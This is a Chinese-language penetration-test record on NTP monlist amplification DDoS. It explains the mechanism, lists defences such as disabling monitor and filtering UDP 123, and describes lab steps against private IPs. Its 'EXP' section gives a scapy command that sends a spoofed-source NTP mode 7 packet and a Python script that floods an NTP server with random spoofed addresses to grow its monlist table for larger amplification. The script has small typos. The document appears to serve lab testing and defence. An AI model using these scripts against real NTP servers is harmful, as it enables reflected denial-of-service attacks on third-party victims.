# NTP放大攻击

|  |  |
| --- | --- |
| 测试编号 | 86 |
| 测试项目 | Ddos流量-ntp放大攻击 |
| 测试描述 | NTP(Network Time Protocol，网络时间协议)，是用来使计算机网络时间同步化的一种协议，它可以使计算机与时钟源进行同步化并提供高精度的时间校正，使用UDP123端口进行通信。通常在NTP服务器上会有一些调试接口，而利用这些接口中的monlist请求，就可触发放大攻击。当主机向NTP服务器发送monlist查询请求时，NTP服务器会将与之进行时间同步的最后的IP地址返回。所以攻击者只需要**将源地址伪造为受害主机的IP**，向NTP服务器发送一个monlist查询请求包，受害主机就会收到大量的UDP响应包。这种攻击在放大攻击里，危害相对较大。  攻击产生的原因：请求与响应数据包不等价；UDP协议的通信模糊性（无数据传输确认机制）；以及NTP服务器的无认证机制。再来谈谈防御方案：使用防 DDoS 设备进行清洗；加固并升级NTP服务器；在网络出口封禁 UDP 123 端口；通过网络层或者借助运营商实施 ACL 来防御；关闭现在 NTP 服务的 monlist 功能，在ntp.conf配置文件中增加disable monitor选项。 |
| 测试工具环境 | Macbook |
| 测试用工具软件 | Python3+wireshark |
| 测试靶场 | Ubuntu 14.6 |
| 测试用URL | 192.168.52.209 |
| 测试步骤 | Ntp端口123使用udp协议,如果使用nmap做扫描时要加sU参数(-sU udp扫描)。    因为要向monlist查询请求包，monlist必须开启，使用-n -c monlist 查看目标主机是否开启monlist查询功能。    Ntp报文格式（LI,VN,Mode,Stratum,Poll,Precision）    根据格式通过scapy发送报文    可以看到monlist的数据。每6个IP封装在1个数据包内，因为开头我们查询的时候，发现就只有6个IP与我们的NTP服务器进行了交互，所以就只能收到一个数据包。现在思路是增加NTP服务器保存的IP表长度，如果ip交互为7就会返回有2个包。22个就会返回3个包    通过发送修改过的数据包，添加ntp服务器交互ip交互列表。可以看到发送伪造数据包后ntp服务器的交互列表上增加了111的链接记录。      当列表数据大于6个小于12个时返回如下：      如我们写一个循环脚本发送600个链接包，这样返回包就会有100个      在此规则上使用python脚本ntp列表增加至600个。这样我们发一个包ntp服务器会返回100个数据包到被攻击的服务器上。      发包    ntp and not icmp 可以看到ntp数据包为101个 |
| 结果 | 对使用ntp进行放大攻击 |

# EXP：

|  |
| --- |
| send(IP(dst='10.10.40.21',src='10.10.40.99')/(UDP(sport=46191)/NTP(version=2,mode=7,stratum=0,poll=3,precision=42))) |

|  |
| --- |
| #!/usr/bin/python  #coding:utf-8  from scapy.all import \*  ip列表增加脚本：  import random  if len(sys.argv) != 3:  print("参数错误，用法如下: ")  print( "python ntp\_ reflect.py [ntp\_ server\_ IP] [num]")  sys. exit()  ntp\_server = sys.argv[1]  num = int(sys.argv[2])  print("NTP reflect start,press Ctrl+C to stop.")  for i in range(num):  ip = str(random.randint(1,200))+'.'+str(random.randint(1,200))+'.'+str(random.randint(1,200))+'.'+str(random. randint(l,200))  send(IP(dst=ntp\_server,src=ip)/UDP(sport=123)/NTP(leap=3,version=4,mode=3))  print(ip+'successful!') |